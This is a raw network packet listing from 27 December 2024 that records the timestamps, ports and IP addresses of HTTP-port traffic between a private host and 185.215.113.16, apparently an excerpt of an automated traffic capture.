Dec 27, 2024 15:01:20.427844048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.468214989 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.490540981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.490669966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.490758896 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.491134882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.491219997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.492146969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.492173910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.492193937 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.492253065 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.492964029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.493074894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.493133068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.493993998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.494189024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.494235039 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.495214939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.495229959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.495279074 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.545844078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.546000957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.546061039 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.546350002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.546581030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.546659946 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.547394991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.547502995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.548502922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.548558950 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.548588991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.548948050 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.549552917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.549612999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.549659014 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.550556898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.551134109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.551186085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.551614046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.551760912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.551805973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.552643061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.552758932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.552850008 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.621126890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.621155977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.621229887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.621481895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.621565104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.621608973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.622643948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.622759104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.622813940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.623411894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.623650074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.623724937 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.624505043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.624650955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.624703884 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.625499010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.625600100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.625679016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.626421928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.670850992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.670919895 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.670939922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.671380997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.671435118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.671484947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.672322035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.672374010 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.672399998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.673202038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.673249960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.673270941 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.674213886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.674257994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.674293041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.675334930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.675367117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.675385952 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.676321030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.676371098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.676374912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.677457094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.677489042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.677511930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.718219042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.746131897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.746156931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.746217012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.746572971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.746678114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.746730089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.747495890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.747844934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.747859955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.748009920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.748739004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.748786926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.748883009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.749789000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.749809027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.749995947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.750889063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.750946045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.795633078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.795718908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.795772076 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.796113968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.796212912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.796392918 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.796812057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.796950102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.797111988 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.797924995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.798058033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.798101902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.798918962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.799041033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.799096107 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.800086975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.800100088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.800148964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.801039934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.801129103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.801167965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.802103996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.802432060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.802496910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.803168058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.803234100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.803277016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.804399014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.846911907 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.870732069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.870894909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.870975018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.871290922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.871556044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.871609926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.872021914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.872085094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.872133017 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.872551918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.872661114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.872720003 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.873661995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.873758078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.873801947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.874727011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.874820948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.874939919 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.920679092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.920703888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.920761108 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.921144009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.921161890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.921211958 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.922219038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.922275066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.922328949 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.923186064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.923269987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.923341990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.924391031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.924527884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.924654007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.925185919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.925270081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.925580025 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.926203966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.926347971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.927012920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.927329063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.927349091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.927416086 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.928296089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.928630114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.928699970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.929445028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.929462910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.929537058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.995803118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.995846987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.995937109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.996607065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.996623993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.996687889 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.997440100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.997461081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.997512102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.997571945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.997733116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.997782946 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.998742104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.998991966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:20.999047995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:20.999979019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.046019077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.046097040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.046096087 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.046608925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.046628952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.046660900 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.047493935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.047549009 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.048170090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.048624039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.048635006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.048672915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.049638033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.049652100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.049727917 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.050682068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.050823927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.050893068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.051786900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.051839113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.051856995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.052891970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.052944899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.053152084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.053792000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.053848982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.053998947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.054959059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.055062056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.055075884 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.063467979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.063478947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.063525915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.112934113 CET	49764	80	192.168.2.5	185.215.113.206
Dec 27, 2024 15:01:21.121191978 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.121206999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.121285915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.121304035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.121701002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.121716022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.121773005 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.123533964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.123711109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.123723984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.123791933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.124352932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.124500990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.125310898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.125385046 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.170473099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.170531988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.170619965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.171058893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.171128988 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.171653986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.171722889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.171797037 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.172432899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.172759056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.172820091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.173670053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.173682928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.173743963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.174463987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.174484015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.174535036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.175709963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.175721884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.175792933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.176709890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.176727057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.176934958 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.177922964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.177941084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.177992105 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.178555012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.179117918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.179188967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.179675102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.179706097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.179749966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.237862110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.237878084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.237941980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.245503902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.245601892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.245794058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.246022940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.246196985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.246216059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.246575117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.247205973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.247276068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.247308969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.247355938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.247406006 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.248425007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.248505116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.249418020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.249803066 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.295660019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.295698881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.296039104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.296139956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.296304941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.297173023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.297199965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.297256947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.298135996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.298304081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.298360109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.299228907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.299257994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.300292969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.300368071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.300379992 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.301552057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.301567078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.301626921 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.302346945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.302453041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.303421021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.303488016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.303538084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.304553986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.304569006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.304882050 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.305509090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.305788994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.370506048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.370527029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.370599031 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.370887995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.371051073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.371107101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.371141911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.371774912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.371797085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.371912003 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:21.372777939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:21.372801065 CET	80	49731	185.215.113.16	192.168.2.5
